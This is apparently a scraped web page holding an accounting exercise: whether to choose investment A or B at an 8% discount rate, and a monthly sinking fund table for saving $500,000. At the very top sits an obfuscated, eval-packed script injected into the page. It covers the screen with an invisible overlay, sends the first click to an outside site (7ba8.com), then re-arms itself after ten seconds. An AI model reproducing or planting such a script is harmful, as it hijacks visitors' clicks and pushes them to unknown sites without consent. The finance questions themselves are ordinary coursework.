<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Issue 2:
On the 1st December 2010, the company w ishes to invest $500,000 in a project. Unfortunately,
it is not certain which project to invest in, as it has two options which fulfil the company’s
strategic direction.
Option Invest Year 1 Year 2 Year 3 Year 4 Year 5
A $500,000 $100,000 $100,000 $150,000 $100,000 $200,000
B $500,000 $200,000 $100,000 $150,000 $100,000 $100,000
If the company assesses all of its projects using an 8% discount factor, which investment option
should the company take? Why?
As an alternative to Issue 1 and as part of the company’s preparation for the project, the
company has decided that it wishes to have available the $500,000 in cash by 1st December,
but does not necessarily wish to use the money from its money market account. To this end the
company has decided to save an additional $500,000. Prepare a sinking fund table to show the
monthly accumulation of funds, assuming the company commences saving by placing its first
deposit into an account earning 8%pa interest compounded monthly on the 1st August 2010. By
what date will the company have saved $250,000 to pay a deposit to the contractors involved in
the new project? How much interest will the company lose, if it withdraws the $250,000 from
this savings account and not leave in the account for the full period? |